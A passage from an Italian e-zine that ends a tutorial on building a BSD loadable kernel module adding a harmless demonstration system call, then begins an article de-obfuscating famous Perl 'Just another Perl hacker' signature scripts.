| non viene esportato dal kernel lo copio pari pari dalle sorgenti */ |
| extern int sys_lkmnosys __P((struct proc *, void *, register_t *)); |
| |
| int useless_syscall(struct proc *, void *, register_t *); |
| |
| static struct lkm_misc _module = { |
| LM_MISC, |
| LKM_VERSION, |
| "
useless", |
| -1 /* in offset memorizzeremo il |
| numero */ |
| /* dell slot in cui ci siamo |
| inseriti */ |
| }; |
| |
| /* questa e' la struttura per la nostra syscall */ |
| struct sysent useless_sysent = { |
| 0, /* numero di argomenti |
| */ |
| 0, /* dimensione totale degli |
| argomenti */ |
| useless_syscall /* puntatore alla nostra syscall |
| */ |
| }; |
| |
| /* e questa e' la syscall */ |
| int useless_syscall(p, v, retval) |
| struct proc *p; |
| void *v; |
| register_t *retval; |
| { |
| printf("
useless_syscall called!\n"); |
| return 0; |
| } |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| int i; |
| |
| /* tramite l'uso di lkmexists() evitiamo che il nostro modulo |
| venga |
| caricato due volte */ |
| |
| if( lkmexists(lkmtp) ) |
| return EEXIST; |
| |
| /* ora iteriamo sulla lista delle syscall finche' non troviamo |
| uno slot libero */ |
| |
| for( i=0; i < SYS_MAXSYSCALL; i++ ) { |
| if( sysent[i].sy_call == sys_lkmnosys ) { |
| |
| /* sostituiamo la syscall con la nostra |
| */ |
| memcpy( &sysent[i], &useless_sysent, |
| sizeof(struct sysent) ); |
| |
| /* salviamo il numero dello slot */ |
| lkmtp->private.lkm_misc->lkm_offset = i; |
| |
| /* salutiamo e ritorniamo con successo |
| */ |
| printf("
useless_syscall loaded at slot % |
| d\n", i); |
| return 0; |
| } |
| } |
| |
| /* se siamo qui, significa che il ciclo e' finito e che non |
| ci sono syscall libere */ |
| return ENFILE; |
| } |
| |
| int useless_unload(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| int i; |
| |
| /* ricordiamoci dove siamo */ |
| i = lkmtp->private.lkm_misc->lkm_offset; |
| |
| /* riazzeriamo la syscall */ |
| sysent[i].sy_narg = 0; |
| sysent[i].sy_argsize = 0; |
| sysent[i].sy_call = sys_lkmnosys; |
| |
| /* come sempre salutiamo */ |
| printf("
useless_syscall unloaded from slot %d\n", i); |
| printf("
goodbye kernel\n"); |
| |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| int error = 0; /* success = 0 */ |
| |
| if (ver != LKM_VERSION) |
| return EINVAL; |
| |
| switch (cmd) { |
| case LKM_E_LOAD: |
| lkmtp->private.lkm_misc = &_module; |
| error = useless_load(lkmtp, cmd); |
| break; |
| case LKM_E_UNLOAD: |
| error = useless_unload(lkmtp, cmd); |
| break; |
| } |
| return error; |
| } |
| <-- cut here - end - [useless_module_4.c] - --> |
| |
| come al solito : |
| |
| biesdi: {47} cc -c -D_LKM -D_KERNEL -I/sys useless_module_4.c |
| biesdi: {48} ld -r -o useless.o useless_module_4.o |
| biesdi: {49} su |
| Password: |
| biesdi: {1} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {2} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| MISC 0 210 c4ed5000 0004 c4ed5278 1 useless |
| biesdi: {3} modunload -n useless |
| |
| con tanto di saluti: |
| |
| useless_syscall loaded at slot 210 |
| useless_syscall unloaded from slot 210 |
| goodbye kernel |
| |
| ovviamente il numero dello slot dipende da sistema a sistema. bene! |
| ora abbiamo un modulo che installa una syscall, ma come la proviamo ? |
| ci serve un altro programma... |
| |
| <-- cut here - start - [useless_test_4.c] - --> |
| #include <stdio.h> |
| |
| main() |
| { |
| char buf[80]; |
| int err = 0; |
| |
| printf("
Offset riportato da modstat : "); |
| if( gets(buf) == NULL ) { |
| printf("
aborted\n"); |
| exit(1); |
| } |
| |
| if( err = syscall(atoi(buf)) ) |
| perror("
syscall"); |
| |
| exit(err); |
| } |
| <-- cut here - end - [useless_test_4.c] - --> |
| |
| ed ecco il risultato : |
| |
| biesdi: {18} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {19} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| MISC 0 210 c4ed9000 0004 c4ed9278 1 useless |
| biesdi: {20} ./useless_test_4 |
| Offset riportato da modstat : 210 |
| biesdi: {21} modunload -n useless |
| |
| e relativo saluto su xconsole : |
| |
| useless_syscall loaded at slot 210 |
| useless_syscall called! |
| useless_syscall unloaded from slot 210 |
| goodbye kernel |
| |
| [ the easy way ] |
| |
| fino ad ora abbiamo evitato l'uso delle macro per rendere piu' |
| trasparente |
| il funzionamento del modulo, ora invece riscriviamo usufruendo delle |
| macro. per usufruire di tutti gli automatismi il nostro modulo sara' |
| ora di tipo syscall. cioe' all'inizio scriveremo : |
| |
| MOD_SYSCALL("
useless_syscall", -1, &useless_sysent); |
| |
| struct sysent useless_sysent = { 0, 0, useless_syscall }; |
| |
| i valori aggiuntivi passati a MOD_SYSCALL riempiono i campi lkm_offset |
| e lkm_sysent della struttura _module (che questa volta e' un struct |
| lkm_syscall e non struct lkm_misc come prima). lkm_offset uguale a -1 |
| fara' capire alla routine di inizializzazione (lkm_dispatch, chiamata |
| nella macro DISPATCH) che non abbiamo preferenze per il numero dello |
| slot ma ci accontentiamo del primo libero. dato che e' tutto automatico |
| "
il resto e' banale". |
| |
| <-- cut here - start - [useless_test_5.c] - --> |
| #include <sys/param.h> |
| #include <sys/ioctl.h> |
| #include <sys/systm.h> |
| #include <sys/conf.h> |
| #include <sys/mount.h> |
| #include <sys/exec.h> |
| #include <sys/lkm.h> |
| #include <sys/file.h> |
| #include <sys/errno.h> |
| #include <sys/syscall.h> |
| |
| int useless_syscall(struct proc *, void *, register_t *); |
| struct sysent useless_sysent = { 0, 0, useless_syscall }; |
| |
| MOD_SYSCALL("
useless", -1, &useless_sysent); |
| |
| int useless_syscall(p, v, retval) |
| struct proc *p; |
| void *v; |
| register_t *retval; |
| { |
| printf("
useless_syscall called!\n"); |
| return 0; |
| } |
| |
| int useless_load(lkmtp, cmd) |
| struct lkm_table *lkmtp; |
| int cmd; |
| { |
| /* solo un piccolo messaggio, anche il controllo che i modulo |
| non sia gia' stato caricato e' in lkm_dispatch */ |
| printf("
useless module loaded\n"); |
| return 0; |
| } |
| |
| useless_lkmentry(lkmtp, cmd, ver) |
| struct lkm_table *lkmtp; |
| int cmd; |
| int ver; |
| { |
| DISPATCH(lkmtp, cmd, ver, useless_load, lkm_nofunc, |
| lkm_nofunc) |
| } |
| <-- cut here - start - [useless_test_5.c] - --> |
| |
| con 42 righe rispetto a 116 otteniamo lo stesso risultato : |
| |
| biesdi: {35} modload useless.o |
| Module loaded as ID 0 |
| biesdi: {36} modstat |
| Type Id Off Loadaddr Size Info Rev Module Name |
| SYSCALL 0 210 c4ed9000 0004 c4ed9148 1 useless |
| biesdi: {37} ./useless_test_4 |
| Offset riportato da modstat : 210 |
| biesdi: {38} modunload -n useless |
| |
| quest'ultima versione del modulo fa' esattamente tutto quello che faceva |
| la versione senza macro (anzi prob fa' qualcosa di +); quindi quando |
| uno ha le idee chiare e non vuole perdere tempo nell'implementazione |
| non dovrebbe farsi problemi ad utilizzarle. |
| |
| [ the end ] |
| |
| dopo la bellezza di 436 righe anche stavolta sono rimasto a secco di |
| conoscenze. cmq l'apprendimento (esami permettendo) e' ancora in corso. |
| quindi tutti coloro che leggeranno o insulteranno questo tut e/o il suo |
| autore sono pregati di segnalarmelo via email. |
| grazie a tutti e |
| buona sera |
| |
| _beb0s_ |
| |
| beb0s at autistici dot org - beb0s at sdf dot lonestar dot org |
| Key fingerprint = 6A2E 43A9 31F4 B619 B4C4 EBBD 5E81 35A1 148C CF72 |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #07 - 01/08/2002 |
| PERL HACKS EXPLAiNED [Domine] 0x0F/0x19 |
+--------------------------------------------------------------------------+
| Perl hacks explained - 12/04/2002 |
| |
| |
| di Roberto Natella "
Domine" |
| |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
| |
| |
| INTRODUZIONE |
| |
| In questa sede parlerò di alcuni curiosi hacks scritti in Perl |
| reperibili dalla Rete. Per l'esattezza si tratta di JAPH signatures, |
| ossia dei modi originali di stampare a video la frase "
just another |
| perl hacker" o simili. |
| Questo genere di firme furono per prime utilizzate e rese famose da |
| Randal Schwartz, e alcune sono disponibili all'indirizzo |
| |
| http://www.perl.com/CPAN/misc/japh |
| |
| un aspetto interessante della cultura della comunità degli |
| sviluppatori :-] |
| Sono anche una ottima occasione per impare per gli inesperti, e un |
| modo per ripassare per i più bravi :-P |
| |
| PS: per un maggior divertimento, provate prima da soli a capire il |
| meccanismo degli script :-) |
| |
| |
| APERTE LE DANZE |
| |
| Ecco un primo script, non troppo grosso, tanto per cominciare: |
| |
| #!perl -l |
| # chipmunk (aka Ronald J Kimball) <rjk@linguist.dartmouth.edu> |
| $_={1..28};$/=[$_,P,a..z,J,$"
];print+map{$_&1?$/->{$_}:$/->[$_|1]} |
| (27,21,19,20,28,1,14,15,20,8,5,18,28,0,5,18,12,28,8,1,3,11,5,18) |
| |
| Lo stesso script, riscritto in modo più leggibile: |
| |
| #!/usr/in/perl -l |
| |
| # L'opzione -l equivale all'istruzione |
| # $\ = $/; chomp $/; |
| |
| $_={ |
| |
| 1 => 2, |
| 3 => 4, |
| 5 => 6, |
| 7 => 8, |
| 9 => 10, |
| 11 => 12, |
| 13 => 14, |
| 15 => 16, |
| 17 => 18, |
| 19 => 20, |
| 21 => 22, |
| 23 => 24, |
| 25 => 26, |
| 27 => 28 |
| |
| }; |
| |
| $/=[$_,P,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,J,$"]; |
| |
| # $"
contiene uno spazio vuoto (' '); |
| |
| print map{ $_ & 1 ? $/->{$_} : $/->[$_|1] } |
| |
| (27,21,19,20,28,1,14,15,20,8,5,18,28,0,5,18,12,28,8,1,3,11,5,18); |
| |
| |
| |
| Innanzitutto, $_ viene dichiarato come reference ad un hash anonimo, |
| in cui i numeri dispari da 1 a 27 richiamano i numeri pari |
| immediatamente successivi. |
| Ad esempio $_->{15} è uguale a 16; in pratica le cifre sono usate |
| come le chiavi dell'hash. |
| |
| Poi, $/ ; non bisogna farsi ingannare dal ruolo che le attribuisce |
| l'interprete per default: $/ contiene il carattere che viene |
| considerato come separatore di linea durante la lettura di un file |
| (\n), ma siccome questo non avviene $/ ha il valore di una |
| normalissima variabile come $cip o $ciop . |
| |
| $/, come $_, viene utilizzato come reference, che stavolta punta su |
| una lista anonima che però, come vedremo, ha una proprietà molto |
| particolare. |
| Comunque, questa reference va trattata come qualunque altra |
| reference verso array, per cui $/->[1] è uguale a "P", $/->[3] a "b" |
| e così via. Il primo elemento di questo array anonimo è a sua volta |
| una reference all'hash $_ precedentemente dichiarato, e conferisce |
| alla lista una caratterista, documentata nella pagina del manuale |
| "perlref" (sezione "Pseudo-hashes: Using an array as a |
| hash"
); vediamola molto brevemente. |
| |
| Data la seguente reference verso un array anonimo |
| |
| $struct = [{foo => 1, bar => 2}, "FOO", "BAR"]; |
| |
| so che $struct->[1] è uguale a "FOO" e $struct->[2] a "BAR"; inoltre |
| il primo elemento è una reference ad un array, quindi |
| $struct->[0]->{foo} è uguale a 1 e $struct->[0]->{bar} è uguale a 2. |
| Ma stranamente se richiamo $struct->{foo} ottengo "FOO", e con |
| $struct->{bar} ho "BAR"... come mai ? Questo accade perchè il primo |
| elemento è un riferimento ad un hash in cui alle chiavi sono |
| associate dei numeri: l'interprete Perl, non appena lo nota, associa |
| ad ogni chiave un puntatore ad uno degli elementi della lista, |
| quello indicato dal numero da essa contenuto. Così, la chiave "foo" |
| fungerà da "etichetta" all'elemento della lista con indice uguale ad |
| 1, e "bar" all'indice 2. Quindi le diciture $struct->{foo} e |
| $struct->[1] sono considerate uguali. |
| |
| Ritornando al nostro scriptino, ecco che troviamo un blocco che |
| tramite la istruzione map rielabora gli elementi della lista di |
| numeri indicata subito dopo, restituendo una serie di caratteri che |
| l'istruzione print provvede a stampare. Vi svelo subito che |
| l'obiettivo dell'autore è stampare la lettera dell'alfabeto |
| associata a ogni numero, a formare la fatidica scritta "Just |
| another Perl hacker"
, ossia che, passato a map il numero 1, venga |
| stampata la a, col numero 2 venga stampata la b e così via (va fatta |
| eccezione per 27 e 0, che indicano la "J" e la "P", e il 28 che |
| indica lo spazio vuoto). |
| Vediamo nel dettaglio come questo avviene. |
| |
| $_ & 1 ? $/->{$_} : $/->[$_|1] |
| |
| Ecco l'operatore ternario determinante per il programma. Un occhio |
| attento farà certamente caso anche ad & e |, due operatori che |
| lavorano a livello di bit. |
| |
| Ora, una piccolissima rinfrescatina di aritmetica binaria per chi ne |
| avesse bisogno. I numeri che in base decimale sono pari, portati in |
| base primaria terminano per 0, viceversa quelli dispari termineranno |
| per 1. (Ci riferiamo ad architetture little-endian.) |
| |
| Quando andremo a fare l'AND tra un numero pari e 1, otterremo questo: |
| |
| 1010 & (il 10) |
| 0001 = (l' 1) |
| -------- |
| 0000 |
| |
| E ora, proviamo con un numero dispari: |
| |
| 1111 & (il 13) |
| 0001 = (l' 1) |
| -------- |
| 0001 |
| |
| In qualunque caso, gli unici bit che influenzeranno il risultato |
| della operazione sono soltanto quelli all'estrema destra (ossia lo 0 |
| finale del 10 e l'1 finale del 13): tutte le altre cifre dei numeri, |
| confrontate con gli zeri di 0001 restituiranno sempre 0 (FALSE) al |
| momento dell'AND. Per cui "$_ & 1" restituisce vero nel caso di |
| numeri dispari, e falso nel caso di numeri pari. |
| |
| Tutto questo soltanto per far sì che al richiamo dell'istruzione |
| $/->{$_} si possa essere sicuri che $_ sia un valore dispari, che in |
| caso contrario genererebbe un messaggio di errore (infatti l'hash |
| delle "etichette" non contiene chiavi con numeri pari). |
| |
| In caso di numeri pari viene invece usata la sintassi "$/->[$_|1]", |
| che richiama il $_|1 esimo elemento della lista $/, trattata come |
| una lista comune. |
| Perchè quell'OR ? Anche in questo caso valgono alcune delle |
| considerazioni fatte per l'AND: |
| |
| 1010 | (il 10) |
| 0001 = (l' 1) |
| -------- |
| 1011 |
| |
| Come per ogni altro numero pari, l'OR fra 10 e 1 restituisce il |
| numero immediatamente successivo, 11. Ossia è come se si fosse |
| scritto ++$_ . |
| |
| L'autore ha fatto questo perchè nella lista $/ l'elemento numero 8, |
| ad esempio, non corrisponde alla ottava lettera dell'alfabeto, bensì |
| alla settima, la g; poichè l'elemento 1 della lista è uguale a "P", |
| il secondo è uguale ad "a", il terzo a "b" e via discorrendo. "$_ | |
| 1"
rappresenta un tentativo offuscato per far avanzare l'indice di |
| una unità in modo da ovviare all'inconveniente. |
| |
| Infine, il "+" tra print e map nella "versione offuscata" serve per |
| non lasciare spazi vuoti senza alterare il funzionamento dello |
| script. |
| |
| Finito! Questo, per quanto semplice, contiene qualche piccola |
| caratteristica curiosa che rende un JAPH interessante... Prometto di |
| non farla tanto lunga con i prossimi script :-) |
| |
| Ecco un altro script carino: |
| |
| |
| #!/usr/bin/perl |
| # autore anonimo |
| |
| undef$/;$_=<DATA>;y/ODA\n / /ds;@yoda=map{length}split;print chr |
| oct join('',splice(@yoda,0,3))-111 while@yoda; |
| __DATA__ |
| 00O00O000O00O0000 000O DD000000O0 |
| 0DO0000000O0000O00 O00000 00O00000O0O |
| 0000 0O0 O00 O00 00D 0DO |
| 00O0 0O0 00D 000 DO0D00000D |
| 0O00 DOD 000000O00000 000 O00O |
| DD0000D000O0 000 0O00O0000D00DO 0OD D00O000D00O0 |
| 00000DO00O0 000 000O 00D0 O0D O00000O0DO0 |
| |
| 0O000 OD0D O00O0 0000 DDDO000000 O00O000000 |
| 0O000 O00DDO 00000 0O0D00 00O0O00000O 0O00O000000 |
| 0O0O00OD00000DDD 00O 0D0 DDD D0O 00O0D |
| 00000O00000000 O00 DO0 D00D00O000 00D00 |
| D0O00 O0000 000O000O00DO 000 00O0 0OD00 |
| O00 000 0O000D000O00O0 000 0D0O000000O00O00 |
| 0 0 0O0D 0000 0O0 0O0000000O000O |
| |
| |
| Lo riscrivo in forma più chiara: |
| |
| |
| #!/usr/bin/perl |
| |
| undef $/; # Come sopracitato, $/ contiene il separatore di linea |
| # in lettura, "\n". |
| # Annullandolo, può essere assegnato a una variabile |
| # l'intero contenuto di un filehandle (vedi istruzione |
| # sottostante). |
| |
| $_ = <DATA>; # Tutto ciò che è scritto dopo il termine __DATA__ |
| # non viene considerato come istruzioni da |
| # interpretare, ma come un file di testo che viene |
| # passato all'interprete al momento della |
| # esecuzione (come se si trattasse di una pipe). |
| # Quindi è necessario scrivere prima lo script, |
| # considerando DATA come un |
| # normale filehandle, poi terminare lo script con |
| # __DATA__ e inserire il testo. |
| |
| $_ =~ y/ODA\n / /ds; # Sostituisce con uno spazio vuoto tutto quello |
| # che è uguale ad una "O","D" o "A", |
| # cancellando anche gli \n . |
| # PS: notare lo "y/ODA" :-) |
| |
| @yoda = map { length ($_) } split (/ /,$_); # $_ viene diviso in |
| # gruppetti di caratteri, di cui |
| # la lunghezza di ognuno viene |
| # associata a un elemento |
| # dell'array @yoda . |
| |
| while (@yoda) { |
| |
| $_ = join('',splice(@yoda,0,3)); # Finchè rimangono elementi in |
| # @yoda, vengono sottratti i |
| # primi 3 da questo array e |
| # vengono uniti assieme formando |
| # un nuovo numero a 3 cifre. |
| |
| $_ -= 111; # A questo numero viene |
| # sottratto 111. |
| |
| $_ = oct $_; # Questo numero passa dalla base |
| # decimale all'equivalente in |
| # base ottale. |
| |
| $_ = chr $_; # Il numero viene convertito nel |
| # carattere ASCII corrispondente |
| # (ad esempio 65 equivale alla |
| # A maiuscola). |
| |
| print $_; # Infine questo carattere viene |
| # stampato. |
| |
| } |
| |
| # Ho sostituito gli 0 con degli * per maggior chiarezza, il |
| # risultato è uguale. |
| |
| __DATA__ |
| **O**O***O**O**** ***O DD******O* |
| *DO*******O****O** O***** **O*****O*O |
| **** *O* O** O** **D *DO |
| **O* *O* **D *** DO*D*****D |
| *O** DOD ******O***** *** O**O |
| DD****D***O* *** *O**O****D**DO *OD D**O***D**O* |
| *****DO**O* *** ***O **D* O*D O*****O*DO* |
| |
| *O*** OD*D O**O* **** DDDO****** O**O****** |
| *O*** O**DDO ***** *O*D** **O*O*****O *O**O****** |
| *O*O**OD*****DDD **O *D* DDD D*O **O*D |
| *****O******** O** DO* D**D**O*** **D** |
| D*O** O**** ***O***O**DO *** **O* *OD** |
| O** *** *O***D***O**O* *** *D*O******O**O** |
| * * *O*D **** *O* *O*******O***O |
| |
| __END__ |
| |
| |
| Direi che il codice si commenta (quasi :) ) da solo. |
| Cmq non credo che queste offuscazioni siano ancora sufficienti per |
| nascondere ai nostri attenti occhi la fatidica scritta :-P |
| |
| |
| Ecco ora un codice graficamente divertente! |
| |
| |
| #Clinton Pierce |
| #note: Requires 5.6.0 or better |
| |
| '% * % % * % %<> |
| * % ~ * % % * % * * % * * |
| * % % * * % * % *<> * % ~ % % % * % |
| * * * % * % % % % * % % % % % % * % % * % |
| % * % % " * % % % % *[] % % * * % * * % % % |
| % * % % % % % % * * % * * @ * @ % * % % |
| % "
% * % * % * * % % * % <> % % % % * % %() % |
| % % * * * % % * % % * * % * * * * % * * % % * * * |
| % * * * % % * % % *[]<> % % % % * % * * * % % *<> |
| % * * % % % * * % * * * \ * %\ * * * %/ \ # % * * |
| % % % *\ * /\ * *// % %\ <>\ // % %/ % \// % * % |
| * * *\ \|| \ \/ / % %// \ \ *\ /<> %// %// % %<> |
| * % * %\ \ | | ||// % || // \// % // * * * % |
| %{} % * ----\ \ | / %||// / ---/ / * % % * |
| % * *\ ____\ \| | / / / /----/ * % |
| \ ----\ | / // / |
| \ \ / /' |
| =~m/(.*)/s;$_=$1; |
| s![-\\|_/\s]!!g |
| ;%e=('%',0, |
| '"',132918, |
| '~'=>18054, |
| '@'=>19630, |
| '*' =>0b01, |
| '#'=>13099, |
| '[]'=>4278, |
| '<>'=>2307, |
| '{}'=>9814, |
| '()',2076); |
| for $a(keys |
| %e){$e{$a}= |
| sprintf"
%b" |
| , $e{$a};} |
| $y= qq{(}.join( |
| '|',map "
\Q$_\E" |
| ,keys %e).qq{)};s/$y |
| /$e{$1}/gex;print pack"
B*",$_; |
| |
| |
| Bellino l'albero, vero? Un vero peccato abbatterlo :-/ |
| |
| |
| #!/usr/bin/perl |
| |
| '% * % % * % %<> |
| * % ~ * % % * % * * % * * |
| * % % * * % * % *<> * % ~ % % % * % |
| * * * % * % % % % * % % % % % % * % % * % |
| % * % % "
* % % % % *[] % % * * % * * % % % |
| % * % % % % % % * * % * * @ * @ % * % % |
| % " % * % * % * * % % * % <> % % % % * % %() % |
| % % * * * % % * % % * * % * * * * % * * % % * * * |
| % * * * % % * % % *[]<> % % % % * % * * * % % *<> |
| % * * % % % * * % * * * \ * %\ * * * %/ \ # % * * |
| % % % *\ * /\ * *// % %\ <>\ // % %/ % \// % * % |
| * * *\ \|| \ \/ / % %// \ \ *\ /<> %// %// % %<> |
| * % * %\ \ | | ||// % || // \// % // * * * % |
| %

  
{} % * ----\ \ | / %||// / ---/ / * % % * |
| % * *\ ____\ \| | / / / /----/ * % |
| \ ----\ | / // / |
| \ \ / /' |
| |
| =~ m/(.*)/s; |
| |
| # La stringa racchiusa da '' e contenente simboli quali %,*,ecc. |
| # viene passata alla regular expression "grezza" m/(.*)/s, la quale |
| # semplicemente elimina i ritorni a capo (\n) ed assegna alla |
| # variabile $1 il contenuto della stringa ottenuta. |
| |
| $_ = $1; # $_ ora contiene la stringa |
| |
| $_ =~ s![-\\|_/\s]!!g; # Con questa istruzione cancelliamo i |
| # seguenti simboli: |
| # - \ | _ / |
| # inoltre elimina gli spazi vuoti. |
| |
| %e = ( |
| |
| '%' => 0, |
| '"' => 132918, |
| '~' => 18054, |
| '@' => 19630, |
| '*' => 0b01, |
| '#' => 13099, |
| '[]' => 4278, |
| '<>' => 2307, |
| '{}' => 9814, |
| '()' => 2076 |
| |
| ); |
| |
| for $a(keys%e) { |
| |
| $e{$a} = sprintf ("
%b", $e{$a} ); # In questa maniera i valori |
| # contenuti nell'hash %e vengono |
| # convertiti in valori binari |
| # (es. 2076 == 100000011100). |
| } |
| |
| $y = "
("; |
| |
| $y .= join('|',map {"
\Q$_\E"} keys %e); # Le chiavi dell'hash %e |
| # vengono concatenate per |
| # formare il pattern da |
| # utilizzare nella regex |
| # successiva. |
| $y .= "
)"; |
| |
| # $y ora equivale a: |
| # (\Q[]\E|\Q"
\E|\Q<>\E|\Q~\E|\Q{}\E|\Q@\E|\Q()\E|\Q*\E|\Q#\E|\Q%\E) |
| |
| # I caratteri sono compresi fra \Q ed \E affinchè vengano |
| # interpretati "alla lettera" piuttosto che considerati come |
| # caratteri speciali (ad esempio """ non indicherà alla regex di |
| # cercare all'inizio della stringa). |
| |
| s/$y/$e{$1}/gex; |
| |
| # Quando la regex trova una delle seguenti sequenze di caratteri |
| # [] "
<> ~ {} @ () * # % |
| # viene sostituita col valore ad essa associato nell'hash %e. |
| |
| # (Esempio: la prima corrispondenza, "%", viene associata alla |
| # variabile $1; poi, "%" viene sostituito col valore contenuto da |
| # $e{$1} (== $e{'%'} ), ossia con lo 0. Quando poi invece vengono |
| # trovati i caratteri [] vicini, essi vengono sostituiti dal |
| # contenuto di $e{'[]'}, cioè 1000010110110 (ossia il numero 4278 |
| # convertito in base binaria.) |
| |
| # Ora $_ contiene una serie di 0 e di 1 (488, per l'esattezza). |
| |
| print pack("B*",$_); |
| |
| __END__ |
| |
| |
| Infine fu pack(): per chi non lo ricordasse, questa funzione, |
| associata al parametro "B*", fa sì che i valori contenuti in $_ |
| vengano scomposti in gruppi da 8, e che questi "ottetti" vengano |
| considerati come i bit di un byte e come tali vengano convertiti nel |
| carattere corrispondente. Così 488 viene diviso in 61 gruppi di bit, |
| ciascuno equivalente a ognuno dei 61 caratteri della frase stampata |
| dallo script. Ecco uno schema chiarificatore: |
| |
| (i byte sono considerati little-endian) |
| |
| 01001001 I |
| 00100000 |
| 01110100 t |
| 01101000 h |
| 01101001 i |
| 01101110 n |
| 01101011 k |
| 00100000 |
| 01110100 t |
| 01101000 h |
| 01100001 a |
| 01110100 t |
| 00100000 |
| 01001001 I |
| 00100000 |
| 01110011 s |
| 01101000 h |
| 01100001 a |
| 01101100 l |
| 01101100 l |
| 00100000 |
| 01101110 n |
| 01100101 e |
| 01110110 v |
| 01100101 e |
| 01110010 r |
| 00100000 |
| 01110011 s |
| 01100101 e |
| 01100101 e |
| 00100000 |
| 01100001 a |
| 00100000 |
| 01110000 p |
| 01110010 r |
| 01101111 o |
| 01100111 g |
| 01110010 r |
| 01100001 a |
| 01101101 m |
| 00100000 |
| 01100001 a |
| 01110011 s |
| 00100000 |
| 01101100 l |
| 01101111 o |
| 01110110 v |
| 01100101 e |
| 01101100 l |
| 01111001 y |
| 00100000 |
| 01100001 a |
| 01110011 s |
| 00100000 |
| 01100001 a |
| 00100000 |
| 01110100 t |
| 01110010 r |
| 01100101 e |
| 01100101 e |
| 00101110 . |
| |
| Leggendo dall'alto verso il basso, ora è chiaro da dove esce la |
| frase finale. |
| |
| Ecco ora un vero capolavoro, il sorgente-cammello per eccellenza :-) |
| |
| |
| Autore: Erudil from http://www.perlmonks.com/ |
| |
| #!/usr/bin/perl -w # camel code |
| use strict; |
| |
| $_='ev |
| al("seek\040D |
| ATA,0, 0;"
);foreach(1..3) |
| {<DATA>;}my @camel1hump;my$camel; |
| my$Camel ;while( <DATA>){$_=sprintf("%-6 |
| 9s"
,$_);my@dromedary 1=split(//);if(defined($ |
| _=<DATA>)){@camel1hum p=split(//);}while(@dromeda |
| ry1){my$camel1hump=0 ;my$CAMEL=3;if(defined($_=shif |
| t(@dromedary1 ))&&/\S/){$camel1hump+=1<<$CAMEL;} |
| $CAMEL--;if(d efined($_=shift(@dromedary1))&&/\S/){ |
| $camel1hump+=1 <<$CAMEL;}$CAMEL--;if(defined($_=shift( |
| @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if( |
| defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME |
| L;;}$camel.=(split(//,"\040..m`{/J\047\134}L"7FX"))[$camel1h |
| ump];}$camel.="
\n";}@camel1hump=split(/\n/,$camel);foreach(@ |
| camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\ |
| 064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse; |
| print"
$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y |
| /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/; |
| $_=reverse;print"
\040$_$Camel\n";}';;s/\s*//g;;eval; eval |
| ("
seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;( );;s |
| ;"
.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__ \124 |
| \1 50\145\040\165\163\145\040\157\1 46\040\1 41\0 |
| 40\143\141 \155\145\1 54\040\1 51\155\ 141 |
| \147\145\0 40\151\156 \040\141 \163\16 3\ |
| 157\143\ 151\141\16 4\151\1 57\156 |
| \040\167 \151\164\1 50\040\ 120\1 |
| 45\162\ 154\040\15 1\163\ 040\14 |
| 1\040\1 64\162\1 41\144 \145\ |
| 155\14 1\162\ 153\04 0\157 |
| \146\ 040\11 7\047\ 122\1 |
| 45\15 1\154\1 54\171 \040 |
| \046\ 012\101\16 3\16 |
| 3\15 7\143\15 1\14 |
| 1\16 4\145\163 \054 |
| \040 \111\156\14 3\056 |
| \040\ 125\163\145\14 4\040\ |
| 167\1 51\164\1 50\0 40\160\ |
| 145\162 \155\151 |
| \163\163 \151\1 |
| 57\156\056 |
| |
| |
| Se lanciando questo script rimanete a bocca aperta non vi |
| preoccupate, è un normale effetto collaterale :)) |
| |
| Anche qui c'è il trucco, che ora vedremo. |
| |
| Innanzitutto, bisogna dire che non è possibile "mettere ordine" nelle |
| istruzioni senza compromettere il risultato dello script. Questo |
| perchè lo script legge prima sè stesso (per cui non funzionerà se |
| passato all'interprete tramite lo STDIN, ma soltanto se salvato |
| prima in un file e poi lanciato), poi stampa una versione "in scala" |
| del codice trattato come se fosse uno di quei lavoretti ASCII-art :-) |
| |
| Il sorgente viene trattato tramite un filehandle, e vengono man mano |
| letti "blocchi" di caratteri di grandezza 2x2, come questo |
| |
| XX |
| XX |
| |
| e in base al numero e alla posizione degli spazi bianchi presenti in |
| questi "blocchi" vengono stampate le lettere. Come si nota dal |
| risultato, blocchi aventi soltanto spazi bianchi fanno stampare uno |
| spazio bianco, mentre blocchi aventi tutti non-spazi stampano una |
| "X". Ma ecco una piccola legenda prima dei chiarimenti sul codice: |
| |
| (gli _ rappresentano gli spazi, le X i caratteri non-spazi) |
| |
| ** ** ** |
| ** == " " *X == "." X* == "." |
| |
| |
| ** *X X* |
| XX == "m" XX == "J" XX == "L" |
| |
| |
| XX X* *X |
| ** == """ ** == "'" ** == "`" |
| |
| |
| XX X* *X |
| XX == "
X" *X == "\" X* == "/" |
| |
| |
| XX XX *X |
| *X == "
7" X* == "F" *X == "{" |
| |
| |
| X* |
| X* == "
}" |
| |
| |
| I più attenti noteranno una vaga somiglianza fra il disegno |
| rappresentato dai blocchi dei caratteri e il carattere a loro |
| corrispondente... Comunque il risultato finale è una versione in |
| scala 1 a 4 del disegno rappresentato dal sorgente, ripetuto per |
| quattro volte. |
| |
| Prima di andare avanti esaminiamo il codice che ottiene il risultato |
| sopra descritto. |
| |
| |
